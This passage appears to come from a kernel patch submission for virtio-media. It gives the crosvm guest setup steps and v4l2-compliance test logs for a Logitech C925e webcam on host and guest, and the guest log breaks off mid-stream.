Signed-off-by: Brian Daniels <briandaniels@google.com>
---
Guest Setup

Tests were ran on a Debian 12 guest running with crosvm. The guest image
was created with:

$ virt-builder debian-12 --root-password password:""

Build crosvm and launch the guest starting at the "Crosvm" section on
this page: https://github.com/chromeos/virtio-media/blob/main/TRY_IT_OUT.md#crosvm

NOTE: Before running v4l2-compliance in the guest, you need to install
v4l-utils and ffmpeg:

$ apt update && apt install v4l-utils ffmpeg

---
Compliance Testing

This was tested using v4l2-compliance. Since virtio-media serves as
a proxy to host devices for the guest VMs, we expect the guest
compliance test to essentially match the host compliance test for the
same device.

NOTE: v4l2-compliance changes its test behavior depending on the driver
name. In the guest, the driver name for virtio-media proxied-devices is
always "virtio-media", even if the actual host device has a driver name
of e.g. "uvcvideo". To ensure the test is consistent between the host
and the guest, I created a patch for the v4l2-compliance tool that
allows you to override the driver name. All test results that follow use
this patch:
https://lore.kernel.org/r/20260528163448.4031965-1-briandaniels@google.com/

All tests used a Logitech USB Webcam C925e.

As tested on the host:

$ v4l2-compliance -d1 -s

v4l2-compliance 1.33.0-5471, 64 bits, 64-bit time_t
v4l2-compliance SHA: 9f2d3ea879ff 2026-05-28 14:45:11

Compliance test for uvcvideo device /dev/video1:

Driver Info:
	Driver name      : uvcvideo
	Card type        : Logitech Webcam C925e
	Bus info         : usb-0000:04:00.1-3
	Driver version   : 6.18.14
	Capabilities     : 0x84a00001
		Video Capture
		Metadata Capture
		Streaming
		Extended Pix Format
		Device Capabilities
	Device Caps      : 0x04200001
		Video Capture
		Streaming
		Extended Pix Format
Media Driver Info:
	Driver name      : uvcvideo
	Model            : Logitech Webcam C925e
	Serial           : 686F371F
	Bus info         : usb-0000:04:00.1-3
	Media version    : 6.18.14
	Hardware revision: 0x00000016 (22)
	Driver version   : 6.18.14
Interface Info:
	ID               : 0x03000002
	Type             : V4L Video
Entity Info:
	ID               : 0x00000001 (1)
	Name             : Logitech Webcam C925e
	Function         : V4L2 I/O
	Flags            : default
	Pad 0x01000007   : 0: Sink
	  Link 0x0200001f: from remote pad 0x100000a of entity 'Processing 3' (Video Pixel Formatter): Data, Enabled, Immutable

Required ioctls:
	test MC information (see 'Media Driver Info' above): OK
	test VIDIOC_QUERYCAP: OK
	test invalid ioctls: OK

Allow for multiple opens:
	test second /dev/video1 open: OK
	test VIDIOC_QUERYCAP: OK
	test VIDIOC_G/S_PRIORITY: OK
	test for unlimited opens: OK

Debug ioctls:
	test VIDIOC_DBG_G/S_REGISTER: OK (Not Supported)
	test VIDIOC_LOG_STATUS: OK (Not Supported)

Input ioctls:
	test VIDIOC_G/S_TUNER/ENUM_FREQ_BANDS: OK (Not Supported)
	test VIDIOC_G/S_FREQUENCY: OK (Not Supported)
	test VIDIOC_S_HW_FREQ_SEEK: OK (Not Supported)
	test VIDIOC_ENUMAUDIO: OK (Not Supported)
	test VIDIOC_G/S/ENUMINPUT: OK
	test VIDIOC_G/S_AUDIO: OK (Not Supported)
	Inputs: 1 Audio Inputs: 0 Tuners: 0

Output ioctls:
	test VIDIOC_G/S_MODULATOR: OK (Not Supported)
	test VIDIOC_G/S_FREQUENCY: OK (Not Supported)
	test VIDIOC_ENUMAUDOUT: OK (Not Supported)
	test VIDIOC_G/S/ENUMOUTPUT: OK (Not Supported)
	test VIDIOC_G/S_AUDOUT: OK (Not Supported)
	Outputs: 0 Audio Outputs: 0 Modulators: 0

Input/Output configuration ioctls:
	test VIDIOC_ENUM/G/S/QUERY_STD: OK (Not Supported)
	test VIDIOC_ENUM/G/S/QUERY_DV_TIMINGS: OK (Not Supported)
	test VIDIOC_DV_TIMINGS_CAP: OK (Not Supported)
	test VIDIOC_G/S_EDID: OK (Not Supported)

Control ioctls (Input 0):
	test VIDIOC_QUERY_EXT_CTRL/QUERYMENU: OK
	test VIDIOC_QUERYCTRL: OK
	test VIDIOC_G/S_CTRL: OK
		fail: v4l2-test-controls.cpp(983): ret != EINVAL (got 13)
	test VIDIOC_G/S/TRY_EXT_CTRLS: FAIL
	test VIDIOC_(UN)SUBSCRIBE_EVENT/DQEVENT: OK
	test VIDIOC_G/S_JPEGCOMP: OK (Not Supported)
	Standard Controls: 19 Private Controls: 0

Format ioctls (Input 0):
	test VIDIOC_ENUM_FMT/FRAMESIZES/FRAMEINTERVALS: OK
	test VIDIOC_G/S_PARM: OK
	test VIDIOC_G_FBUF: OK (Not Supported)
	test VIDIOC_G_FMT: OK
	test VIDIOC_TRY_FMT: OK
	test VIDIOC_S_FMT: OK
	test VIDIOC_G_SLICED_VBI_CAP: OK (Not Supported)
	test Cropping: OK (Not Supported)
	test Composing: OK (Not Supported)
	test Scaling: OK (Not Supported)

Codec ioctls (Input 0):
	test VIDIOC_(TRY_)ENCODER_CMD: OK (Not Supported)
	test VIDIOC_G_ENC_INDEX: OK (Not Supported)
	test VIDIOC_(TRY_)DECODER_CMD: OK (Not Supported)

Buffer ioctls (Input 0):
	test VIDIOC_REQBUFS/CREATE_BUFS/QUERYBUF: OK
	test CREATE_BUFS maximum buffers: OK
	test VIDIOC_REMOVE_BUFS: OK
	test VIDIOC_EXPBUF: OK
	test Requests: OK (Not Supported)
	test blocking wait: OK

Test input 0:

Streaming ioctls:
	test read/write: OK (Not Supported)

	Video Capture: Frame #000
	Video Capture: Frame #001
	Video Capture: Frame #002
	Video Capture: Frame #003
	Video Capture: Frame #004
	Video Capture: Frame #005
	Video Capture: Frame #006
	Video Capture: Frame #007
	Video Capture: Frame #008
	Video Capture: Frame #009
	Video Capture: Frame #010
	Video Capture: Frame #011
	Video Capture: Frame #012
	Video Capture: Frame #013
	Video Capture: Frame #014
	Video Capture: Frame #015
	Video Capture: Frame #016
	Video Capture: Frame #017
	Video Capture: Frame #018
	Video Capture: Frame #019
	Video Capture: Frame #020
	Video Capture: Frame #021
	Video Capture: Frame #022
	Video Capture: Frame #023
	Video Capture: Frame #024
	Video Capture: Frame #025
	Video Capture: Frame #026
	Video Capture: Frame #027
	Video Capture: Frame #028
	Video Capture: Frame #029
	Video Capture: Frame #030
	Video Capture: Frame #031
	Video Capture: Frame #032
	Video Capture: Frame #033
	Video Capture: Frame #034
	Video Capture: Frame #035
	Video Capture: Frame #036
	Video Capture: Frame #037
	Video Capture: Frame #038
	Video Capture: Frame #039
	Video Capture: Frame #040
	Video Capture: Frame #041
	Video Capture: Frame #042
	Video Capture: Frame #043
	Video Capture: Frame #044
	Video Capture: Frame #045
	Video Capture: Frame #046
	Video Capture: Frame #047
	Video Capture: Frame #048
	Video Capture: Frame #049
	Video Capture: Frame #050
	Video Capture: Frame #051
	Video Capture: Frame #052
	Video Capture: Frame #053
	Video Capture: Frame #054
	Video Capture: Frame #055
	Video Capture: Frame #056
	Video Capture: Frame #057
	Video Capture: Frame #058
	Video Capture: Frame #059

	test MMAP (no poll, REQBUFS): OK

	Video Capture: Frame #000 (select)
	Video Capture: Frame #001 (select)
	Video Capture: Frame #002 (select)
	Video Capture: Frame #003 (select)
	Video Capture: Frame #004 (select)
	Video Capture: Frame #005 (select)
	Video Capture: Frame #006 (select)
	Video Capture: Frame #007 (select)
	Video Capture: Frame #008 (select)
	Video Capture: Frame #009 (select)
	Video Capture: Frame #010 (select)
	Video Capture: Frame #011 (select)
	Video Capture: Frame #012 (select)
	Video Capture: Frame #013 (select)
	Video Capture: Frame #014 (select)
	Video Capture: Frame #015 (select)
	Video Capture: Frame #016 (select)
	Video Capture: Frame #017 (select)
	Video Capture: Frame #018 (select)
	Video Capture: Frame #019 (select)
	Video Capture: Frame #020 (select)
	Video Capture: Frame #021 (select)
	Video Capture: Frame #022 (select)
	Video Capture: Frame #023 (select)
	Video Capture: Frame #024 (select)
	Video Capture: Frame #025 (select)
	Video Capture: Frame #026 (select)
	Video Capture: Frame #027 (select)
	Video Capture: Frame #028 (select)
	Video Capture: Frame #029 (select)
	Video Capture: Frame #030 (select)
	Video Capture: Frame #031 (select)
	Video Capture: Frame #032 (select)
	Video Capture: Frame #033 (select)
	Video Capture: Frame #034 (select)
	Video Capture: Frame #035 (select)
	Video Capture: Frame #036 (select)
	Video Capture: Frame #037 (select)
	Video Capture: Frame #038 (select)
	Video Capture: Frame #039 (select)
	Video Capture: Frame #040 (select)
	Video Capture: Frame #041 (select)
	Video Capture: Frame #042 (select)
	Video Capture: Frame #043 (select)
	Video Capture: Frame #044 (select)
	Video Capture: Frame #045 (select)
	Video Capture: Frame #046 (select)
	Video Capture: Frame #047 (select)
	Video Capture: Frame #048 (select)
	Video Capture: Frame #049 (select)
	Video Capture: Frame #050 (select)
	Video Capture: Frame #051 (select)
	Video Capture: Frame #052 (select)
	Video Capture: Frame #053 (select)
	Video Capture: Frame #054 (select)
	Video Capture: Frame #055 (select)
	Video Capture: Frame #056 (select)
	Video Capture: Frame #057 (select)
	Video Capture: Frame #058 (select)
	Video Capture: Frame #059 (select)

	test MMAP (select, REQBUFS): OK

	Video Capture: Frame #000 (epoll)
	Video Capture: Frame #001 (epoll)
	Video Capture: Frame #002 (epoll)
	Video Capture: Frame #003 (epoll)
	Video Capture: Frame #004 (epoll)
	Video Capture: Frame #005 (epoll)
	Video Capture: Frame #006 (epoll)
	Video Capture: Frame #007 (epoll)
	Video Capture: Frame #008 (epoll)
	Video Capture: Frame #009 (epoll)
	Video Capture: Frame #010 (epoll)
	Video Capture: Frame #011 (epoll)
	Video Capture: Frame #012 (epoll)
	Video Capture: Frame #013 (epoll)
	Video Capture: Frame #014 (epoll)
	Video Capture: Frame #015 (epoll)
	Video Capture: Frame #016 (epoll)
	Video Capture: Frame #017 (epoll)
	Video Capture: Frame #018 (epoll)
	Video Capture: Frame #019 (epoll)
	Video Capture: Frame #020 (epoll)
	Video Capture: Frame #021 (epoll)
	Video Capture: Frame #022 (epoll)
	Video Capture: Frame #023 (epoll)
	Video Capture: Frame #024 (epoll)
	Video Capture: Frame #025 (epoll)
	Video Capture: Frame #026 (epoll)
	Video Capture: Frame #027 (epoll)
	Video Capture: Frame #028 (epoll)
	Video Capture: Frame #029 (epoll)
	Video Capture: Frame #030 (epoll)
	Video Capture: Frame #031 (epoll)
	Video Capture: Frame #032 (epoll)
	Video Capture: Frame #033 (epoll)
	Video Capture: Frame #034 (epoll)
	Video Capture: Frame #035 (epoll)
	Video Capture: Frame #036 (epoll)
	Video Capture: Frame #037 (epoll)
	Video Capture: Frame #038 (epoll)
	Video Capture: Frame #039 (epoll)
	Video Capture: Frame #040 (epoll)
	Video Capture: Frame #041 (epoll)
	Video Capture: Frame #042 (epoll)
	Video Capture: Frame #043 (epoll)
	Video Capture: Frame #044 (epoll)
	Video Capture: Frame #045 (epoll)
	Video Capture: Frame #046 (epoll)
	Video Capture: Frame #047 (epoll)
	Video Capture: Frame #048 (epoll)
	Video Capture: Frame #049 (epoll)
	Video Capture: Frame #050 (epoll)
	Video Capture: Frame #051 (epoll)
	Video Capture: Frame #052 (epoll)
	Video Capture: Frame #053 (epoll)
	Video Capture: Frame #054 (epoll)
	Video Capture: Frame #055 (epoll)
	Video Capture: Frame #056 (epoll)
	Video Capture: Frame #057 (epoll)
	Video Capture: Frame #058 (epoll)
	Video Capture: Frame #059 (epoll)

	test MMAP (epoll, REQBUFS): OK

	Video Capture: Frame #000
	Video Capture: Frame #001
	Video Capture: Frame #002
	Video Capture: Frame #003
	Video Capture: Frame #004
	Video Capture: Frame #005
	Video Capture: Frame #006
	Video Capture: Frame #007
	Video Capture: Frame #008
	Video Capture: Frame #009
	Video Capture: Frame #010
	Video Capture: Frame #011
	Video Capture: Frame #012
	Video Capture: Frame #013
	Video Capture: Frame #014
	Video Capture: Frame #015
	Video Capture: Frame #016
	Video Capture: Frame #017
	Video Capture: Frame #018
	Video Capture: Frame #019
	Video Capture: Frame #020
	Video Capture: Frame #021
	Video Capture: Frame #022
	Video Capture: Frame #023
	Video Capture: Frame #024
	Video Capture: Frame #025
	Video Capture: Frame #026
	Video Capture: Frame #027
	Video Capture: Frame #028
	Video Capture: Frame #029
	Video Capture: Frame #030
	Video Capture: Frame #031
	Video Capture: Frame #032
	Video Capture: Frame #033
	Video Capture: Frame #034
	Video Capture: Frame #035
	Video Capture: Frame #036
	Video Capture: Frame #037
	Video Capture: Frame #038
	Video Capture: Frame #039
	Video Capture: Frame #040
	Video Capture: Frame #041
	Video Capture: Frame #042
	Video Capture: Frame #043
	Video Capture: Frame #044
	Video Capture: Frame #045
	Video Capture: Frame #046
	Video Capture: Frame #047
	Video Capture: Frame #048
	Video Capture: Frame #049
	Video Capture: Frame #050
	Video Capture: Frame #051
	Video Capture: Frame #052
	Video Capture: Frame #053
	Video Capture: Frame #054
	Video Capture: Frame #055
	Video Capture: Frame #056
	Video Capture: Frame #057
	Video Capture: Frame #058
	Video Capture: Frame #059

	test MMAP (no poll, CREATE_BUFS): OK

	Video Capture: Frame #000 (select)
	Video Capture: Frame #001 (select)
	Video Capture: Frame #002 (select)
	Video Capture: Frame #003 (select)
	Video Capture: Frame #004 (select)
	Video Capture: Frame #005 (select)
	Video Capture: Frame #006 (select)
	Video Capture: Frame #007 (select)
	Video Capture: Frame #008 (select)
	Video Capture: Frame #009 (select)
	Video Capture: Frame #010 (select)
	Video Capture: Frame #011 (select)
	Video Capture: Frame #012 (select)
	Video Capture: Frame #013 (select)
	Video Capture: Frame #014 (select)
	Video Capture: Frame #015 (select)
	Video Capture: Frame #016 (select)
	Video Capture: Frame #017 (select)
	Video Capture: Frame #018 (select)
	Video Capture: Frame #019 (select)
	Video Capture: Frame #020 (select)
	Video Capture: Frame #021 (select)
	Video Capture: Frame #022 (select)
	Video Capture: Frame #023 (select)
	Video Capture: Frame #024 (select)
	Video Capture: Frame #025 (select)
	Video Capture: Frame #026 (select)
	Video Capture: Frame #027 (select)
	Video Capture: Frame #028 (select)
	Video Capture: Frame #029 (select)
	Video Capture: Frame #030 (select)
	Video Capture: Frame #031 (select)
	Video Capture: Frame #032 (select)
	Video Capture: Frame #033 (select)
	Video Capture: Frame #034 (select)
	Video Capture: Frame #035 (select)
	Video Capture: Frame #036 (select)
	Video Capture: Frame #037 (select)
	Video Capture: Frame #038 (select)
	Video Capture: Frame #039 (select)
	Video Capture: Frame #040 (select)
	Video Capture: Frame #041 (select)
	Video Capture: Frame #042 (select)
	Video Capture: Frame #043 (select)
	Video Capture: Frame #044 (select)
	Video Capture: Frame #045 (select)
	Video Capture: Frame #046 (select)
	Video Capture: Frame #047 (select)
	Video Capture: Frame #048 (select)
	Video Capture: Frame #049 (select)
	Video Capture: Frame #050 (select)
	Video Capture: Frame #051 (select)
	Video Capture: Frame #052 (select)
	Video Capture: Frame #053 (select)
	Video Capture: Frame #054 (select)
	Video Capture: Frame #055 (select)
	Video Capture: Frame #056 (select)
	Video Capture: Frame #057 (select)
	Video Capture: Frame #058 (select)
	Video Capture: Frame #059 (select)

	test MMAP (select, CREATE_BUFS): OK

	Video Capture: Frame #000 (epoll)
	Video Capture: Frame #001 (epoll)
	Video Capture: Frame #002 (epoll)
	Video Capture: Frame #003 (epoll)
	Video Capture: Frame #004 (epoll)
	Video Capture: Frame #005 (epoll)
	Video Capture: Frame #006 (epoll)
	Video Capture: Frame #007 (epoll)
	Video Capture: Frame #008 (epoll)
	Video Capture: Frame #009 (epoll)
	Video Capture: Frame #010 (epoll)
	Video Capture: Frame #011 (epoll)
	Video Capture: Frame #012 (epoll)
	Video Capture: Frame #013 (epoll)
	Video Capture: Frame #014 (epoll)
	Video Capture: Frame #015 (epoll)
	Video Capture: Frame #016 (epoll)
	Video Capture: Frame #017 (epoll)
	Video Capture: Frame #018 (epoll)
	Video Capture: Frame #019 (epoll)
	Video Capture: Frame #020 (epoll)
	Video Capture: Frame #021 (epoll)
	Video Capture: Frame #022 (epoll)
	Video Capture: Frame #023 (epoll)
	Video Capture: Frame #024 (epoll)
	Video Capture: Frame #025 (epoll)
	Video Capture: Frame #026 (epoll)
	Video Capture: Frame #027 (epoll)
	Video Capture: Frame #028 (epoll)
	Video Capture: Frame #029 (epoll)
	Video Capture: Frame #030 (epoll)
	Video Capture: Frame #031 (epoll)
	Video Capture: Frame #032 (epoll)
	Video Capture: Frame #033 (epoll)
	Video Capture: Frame #034 (epoll)
	Video Capture: Frame #035 (epoll)
	Video Capture: Frame #036 (epoll)
	Video Capture: Frame #037 (epoll)
	Video Capture: Frame #038 (epoll)
	Video Capture: Frame #039 (epoll)
	Video Capture: Frame #040 (epoll)
	Video Capture: Frame #041 (epoll)
	Video Capture: Frame #042 (epoll)
	Video Capture: Frame #043 (epoll)
	Video Capture: Frame #044 (epoll)
	Video Capture: Frame #045 (epoll)
	Video Capture: Frame #046 (epoll)
	Video Capture: Frame #047 (epoll)
	Video Capture: Frame #048 (epoll)
	Video Capture: Frame #049 (epoll)
	Video Capture: Frame #050 (epoll)
	Video Capture: Frame #051 (epoll)
	Video Capture: Frame #052 (epoll)
	Video Capture: Frame #053 (epoll)
	Video Capture: Frame #054 (epoll)
	Video Capture: Frame #055 (epoll)
	Video Capture: Frame #056 (epoll)
	Video Capture: Frame #057 (epoll)
	Video Capture: Frame #058 (epoll)
	Video Capture: Frame #059 (epoll)

	test MMAP (epoll, CREATE_BUFS): OK

	Video Capture: Frame #000
	Video Capture: Frame #001
	Video Capture: Frame #002
	Video Capture: Frame #003
	Video Capture: Frame #004
	Video Capture: Frame #005
	Video Capture: Frame #006
	Video Capture: Frame #007
	Video Capture: Frame #008
	Video Capture: Frame #009
	Video Capture: Frame #010
	Video Capture: Frame #011
	Video Capture: Frame #012
	Video Capture: Frame #013
	Video Capture: Frame #014
	Video Capture: Frame #015
	Video Capture: Frame #016
	Video Capture: Frame #017
	Video Capture: Frame #018
	Video Capture: Frame #019
	Video Capture: Frame #020
	Video Capture: Frame #021
	Video Capture: Frame #022
	Video Capture: Frame #023
	Video Capture: Frame #024
	Video Capture: Frame #025
	Video Capture: Frame #026
	Video Capture: Frame #027
	Video Capture: Frame #028
	Video Capture: Frame #029
	Video Capture: Frame #030
	Video Capture: Frame #031
	Video Capture: Frame #032
	Video Capture: Frame #033
	Video Capture: Frame #034
	Video Capture: Frame #035
	Video Capture: Frame #036
	Video Capture: Frame #037
	Video Capture: Frame #038
	Video Capture: Frame #039
	Video Capture: Frame #040
	Video Capture: Frame #041
	Video Capture: Frame #042
	Video Capture: Frame #043
	Video Capture: Frame #044
	Video Capture: Frame #045
	Video Capture: Frame #046
	Video Capture: Frame #047
	Video Capture: Frame #048
	Video Capture: Frame #049
	Video Capture: Frame #050
	Video Capture: Frame #051
	Video Capture: Frame #052
	Video Capture: Frame #053
	Video Capture: Frame #054
	Video Capture: Frame #055
	Video Capture: Frame #056
	Video Capture: Frame #057
	Video Capture: Frame #058
	Video Capture: Frame #059

	test USERPTR (no poll): OK

	Video Capture: Frame #000 (select)
	Video Capture: Frame #001 (select)
	Video Capture: Frame #002 (select)
	Video Capture: Frame #003 (select)
	Video Capture: Frame #004 (select)
	Video Capture: Frame #005 (select)
	Video Capture: Frame #006 (select)
	Video Capture: Frame #007 (select)
	Video Capture: Frame #008 (select)
	Video Capture: Frame #009 (select)
	Video Capture: Frame #010 (select)
	Video Capture: Frame #011 (select)
	Video Capture: Frame #012 (select)
	Video Capture: Frame #013 (select)
	Video Capture: Frame #014 (select)
	Video Capture: Frame #015 (select)
	Video Capture: Frame #016 (select)
	Video Capture: Frame #017 (select)
	Video Capture: Frame #018 (select)
	Video Capture: Frame #019 (select)
	Video Capture: Frame #020 (select)
	Video Capture: Frame #021 (select)
	Video Capture: Frame #022 (select)
	Video Capture: Frame #023 (select)
	Video Capture: Frame #024 (select)
	Video Capture: Frame #025 (select)
	Video Capture: Frame #026 (select)
	Video Capture: Frame #027 (select)
	Video Capture: Frame #028 (select)
	Video Capture: Frame #029 (select)
	Video Capture: Frame #030 (select)
	Video Capture: Frame #031 (select)
	Video Capture: Frame #032 (select)
	Video Capture: Frame #033 (select)
	Video Capture: Frame #034 (select)
	Video Capture: Frame #035 (select)
	Video Capture: Frame #036 (select)
	Video Capture: Frame #037 (select)
	Video Capture: Frame #038 (select)
	Video Capture: Frame #039 (select)
	Video Capture: Frame #040 (select)
	Video Capture: Frame #041 (select)
	Video Capture: Frame #042 (select)
	Video Capture: Frame #043 (select)
	Video Capture: Frame #044 (select)
	Video Capture: Frame #045 (select)
	Video Capture: Frame #046 (select)
	Video Capture: Frame #047 (select)
	Video Capture: Frame #048 (select)
	Video Capture: Frame #049 (select)
	Video Capture: Frame #050 (select)
	Video Capture: Frame #051 (select)
	Video Capture: Frame #052 (select)
	Video Capture: Frame #053 (select)
	Video Capture: Frame #054 (select)
	Video Capture: Frame #055 (select)
	Video Capture: Frame #056 (select)
	Video Capture: Frame #057 (select)
	Video Capture: Frame #058 (select)
	Video Capture: Frame #059 (select)

	test USERPTR (select): OK
	test DMABUF: Cannot test, specify --expbuf-device

Total for uvcvideo device /dev/video1: 58, Succeeded: 57, Failed: 1, Warnings: 0

As tested on the guest:

$ v4l2-compliance -d0 -s --driver-name uvcvideo

v4l2-compliance 1.33.0-5457, 64 bits, 64-bit time_t
v4l2-compliance SHA: e7e240f546f3 2026-05-28 17:06:12

Compliance test for uvcvideo device (overridden from virtio-media) /dev/video0:

Driver Info:
	Driver name      : uvcvideo
	Card type        : Logitech Webcam C925e
	Bus info         : platform:virtio-media
	Driver version   : 7.1.0
	Capabilities     : 0x84200001
		Video Capture
		Streaming
		Extended Pix Format
		Device Capabilities
	Device Caps      : 0x04200001
		Video Capture
		Streaming
		Extended Pix Format

Required ioctls:
	test VIDIOC_QUERYCAP: OK
	test invalid ioctls: OK

Allow for multiple opens:
	test second /dev/video0 open: OK
	test VIDIOC_QUERYCAP: OK
	test VIDIOC_G/S_PRIORITY: OK
	test for unlimited opens: OK

Debug ioctls:
	test VIDIOC_DBG_G/S_REGISTER: OK (Not Supported)
	test VIDIOC_LOG_STATUS: OK (Not Supported)

Input ioctls:
	test VIDIOC_G/S_TUNER/ENUM_FREQ_BANDS: OK (Not Supported)
	test VIDIOC_G/S_FREQUENCY: OK (Not Supported)
	test VIDIOC_S_HW_FREQ_SEEK: OK
	test VIDIOC_ENUMAUDIO: OK (Not Supported)
	test VIDIOC_G/S/ENUMINPUT: OK
	test VIDIOC_G/S_AUDIO: OK (Not Supported)
	Inputs: 1 Audio Inputs: 0 Tuners: 0

Output ioctls:
	test VIDIOC_G/S_MODULATOR: OK (Not Supported)
	test VIDIOC_G/S_FREQUENCY: OK (Not Supported)
	test VIDIOC_ENUMAUDOUT: OK (Not Supported)
	test VIDIOC_G/S/ENUMOUTPUT: OK (Not Supported)
	test VIDIOC_G/S_AUDOUT: OK (Not Supported)
	Outputs: 0 Audio Outputs: 0 Modulators: 0

Input/Output configuration ioctls:
	test VIDIOC_ENUM/G/S/QUERY_STD: OK (Not Supported)
	test VIDIOC_ENUM/G/S/QUERY_DV_TIMINGS: OK (Not Supported)
	test VIDIOC_DV_TIMINGS_CAP: OK (Not Supported)
	test VIDIOC_G/S_EDID: OK (Not Supported)

Control ioctls (Input 0):
	test VIDIOC_QUERY_EXT_CTRL/QUERYMENU: OK
	test VIDIOC_QUERYCTRL: OK
	test VIDIOC_G/S_CTRL: OK
		fail: v4l2-test-controls.cpp(981): ret (got 22)
	test VIDIOC_G/S/TRY_EXT_CTRLS: FAIL
	test VIDIOC_(UN)SUBSCRIBE_EVENT/DQEVENT: OK
	test VIDIOC_G/S_JPEGCOMP: OK (Not Supported)
	Standard Controls: 19 Private Controls: 0

Format ioctls (Input 0):
	test VIDIOC_ENUM_FMT/FRAMESIZES/FRAMEINTERVALS: OK
	test VIDIOC_G/S_PARM: OK
	test VIDIOC_G_FBUF: OK (Not Supported)
	test VIDIOC_G_FMT: OK
	test VIDIOC_TRY_FMT: OK
	test VIDIOC_S_FMT: OK
	test VIDIOC_G_SLICED_VBI_CAP: OK (Not Supported)
	test Cropping: OK (Not Supported)
	test Composing: OK (Not Supported)
	test Scaling: OK (Not Supported)

Codec ioctls (Input 0):
	test VIDIOC_(TRY_)ENCODER_CMD: OK (Not Supported)
	test VIDIOC_G_ENC_INDEX: OK (Not Supported)
	test VIDIOC_(TRY_)DECODER_CMD: OK (Not Supported)

Buffer ioctls (Input 0):
	test VIDIOC_REQBUFS/CREATE_BUFS/QUERYBUF: OK
	test CREATE_BUFS maximum buffers: OK
	test VIDIOC_REMOVE_BUFS: OK
	test VIDIOC_EXPBUF: OK (Not Supported)
	test Requests: OK (Not Supported)
	test blocking wait: OK

Test input 0:

Streaming ioctls:
	test read/write: OK (Not Supported)

	Video Capture: Frame #000
	Video Capture: Frame #001
	Video Capture: Frame #002
	Video Capture: Frame #003
	Video Capture: Frame #004
	Video Capture: Frame #005
	Video Capture: Frame #006
	Video Capture: Frame #007
	Video Capture: Frame #008
	Video Capture: Frame #009
	Video Capture: Frame #010
	Video Capture: Frame #011
	Video Capture: Frame #012
	Video Capture: Frame #013
	Video Capture: Frame #014
	Video Capture: Frame #015
	Video Capture: Frame #016
	Video Capture: Frame #017
	Video Capture: Frame #018
	Video Capture: Frame #019
	Video Capture: Frame #020
	Video Capture: Frame #021
	Video Capture: Frame #022
	Video Capture: Frame #023
	Video Capture: Frame #024
	Video Capture: Frame #025
	Video Capture: Frame #026
	Video Capture: Frame #027
	Video Capture: Frame #028
	Video Capture: Frame #029
	Video Capture: Frame #030
	Video Capture: Frame #031
	Video Capture: Frame #032
	Video Capture: Frame #033
	Video Capture: Frame #034
	Video Capture: Frame #035
	Video Capture: Frame #036
	Video Capture: Frame #037
	Video Capture: Frame #038
	Video Capture: Frame #039
	Video Capture: Frame #040
	Video Capture: Frame #041
	Video Capture: Frame #042
	Video Capture: Frame #043
	Video Capture: Frame #044
	Video Capture: Frame #045
	Video Capture: Frame #046
	Video Capture: Frame #047
	Video Capture: Frame #048
	Video Capture: Frame #049
	Video Capture: Frame #050
	Video Capture: Frame #051
	Video Capture: Frame #052
	Video Capture: Frame #053
	Video Capture: Frame #054
	Video Capture: Frame #055
	Video Capture: Frame #056
	Video Capture: Frame #057
	Video Capture: Frame #058
	Video Capture: Frame #059

	test MMAP (no poll, REQBUFS): OK

	Video Capture: Frame #000 (select)
	Video Capture: Frame #001 (select)
	Video Capture: Frame #002 (select)
	Video Capture: Frame #003 (select)
	Video Capture: Frame #004 (select)
	Video Capture: Frame #005 (select)
	Video Capture: Frame #006 (select)
	Video Capture: Frame #007 (select)
	Video Capture: Frame #008 (select)
	Video Capture: Frame #009 (select)
	Video Capture: Frame #010 (select)
	Video Capture: Frame #011 (select)
	Video Capture: Frame #012 (select)
	Video Capture: Frame #013 (select)
	Video Capture: Frame #014 (select)
	Video Capture: Frame #015 (select)
	Video Capture: Frame #016 (select)
	Video Capture: Frame #017 (select)
	Video Capture: Frame #018 (select)
	Video Capture: Frame #019 (select)
	Video Capture: Frame #020 (select)
	Video Capture: Frame #021 (select)
	Video Capture: Frame #022 (select)
	Video Capture: Frame #023 (select)
	Video Capture: Frame #024 (select)
	Video Capture: Frame #025 (select)
	Video Capture: Frame #026 (select)
	Video Capture: Frame #027 (select)
	Video Capture: Frame #028 (select)
	Video Capture: Frame #029 (select)
	Video Capture: Frame #030 (select)
	Video Capture: Frame #031 (select)
	Video Capture: Frame #032 (select)
	Video Capture: Frame #033 (select)
	Video Capture: Frame #034 (select)
	Video Capture: Frame #035 (select)
	Video Capture: Frame #036 (select)
	Video Capture: Frame #037 (select)
	Video Capture: Frame #038 (select)
	Video Capture: Frame #039 (select)
	Video Capture: Frame #040 (select)
	Video Capture: Frame #041 (select)
	Video Capture: Frame #042 (select)
	Video Capture: Frame #043 (select)
	Video Capture: Frame #044 (select)
	Video Capture: Frame #045 (select)
	Video Capture: Frame #046 (select)
	Video Capture: Frame #047 (select)
	Video Capture: Frame #048 (select)
	Video Capture: Frame #049 (select)
	Video Capture: Frame #050 (select)
	Video Capture: Frame #051 (select)
	Video Capture: Frame #052 (select)
	Video Capture: Frame #053 (select)
	Video Capture: Frame #054 (select)
	Video Capture: Frame #055 (select)
	Video Capture: Frame #056 (select)
	Video Capture: Frame #057 (select)
	Video Capture: Frame #058 (select)
	Video Capture: Frame #059 (select)

	test MMAP (select, REQBUFS): OK

	Video Capture: Frame #000 (epoll)
	Video Capture: Frame #001 (epoll)
	Video Capture: Frame #002 (epoll)
	Video Capture: Frame #003 (epoll)
	Video Capture: Frame #004 (epoll)
	Video Capture: Frame #005 (epoll)
	Video Capture: Frame #006 (epoll)
	Video Capture: Frame #007 (epoll)
	Video Capture: Frame #008 (epoll)
	Video Capture: Frame #009 (epoll)
	Video Capture: Frame #010 (epoll)
	Video Capture: Frame #011 (epoll)
	Video Capture: Frame #012 (epoll)
	Video Capture: Frame #013 (epoll)
	Video Capture: Frame #014 (epoll)
	Video Capture: Frame #015 (epoll)
	Video Capture: Frame #016 (epoll)
	Video Capture: Frame #017 (epoll)
	Video Capture: Frame #018 (epoll)
	Video Capture: Frame #019 (epoll)
	Video Capture: Frame #020 (epoll)
	Video Capture: Frame #021 (epoll)
	Video Capture: Frame #022 (epoll)
	Video Capture: Frame #023 (epoll)
	Video Capture: Frame #024 (epoll)
	Video Capture: Frame #025 (epoll)
	Video Capture: Frame #026 (epoll)
	Video Capture: Frame #027 (epoll)
	Video Capture: Frame #028 (epoll)
	Video Capture: Frame #029 (epoll)
	Video Capture: Frame #030 (epoll)
	Video Capture: Frame #031 (epoll)
	Video Capture: Frame #032 (epoll)
	Video Capture: Frame #033 (epoll)
	Video Capture: Frame #034 (epoll)
	Video Capture: Frame #035 (epoll)
	Video Capture: Frame #036 (epoll)
	Video Capture: Frame #037 (epoll)
	Video Capture: Frame #038 (epoll)
	Video Capture: Frame #039 (epoll)
	Video Capture: Frame #040 (epoll)
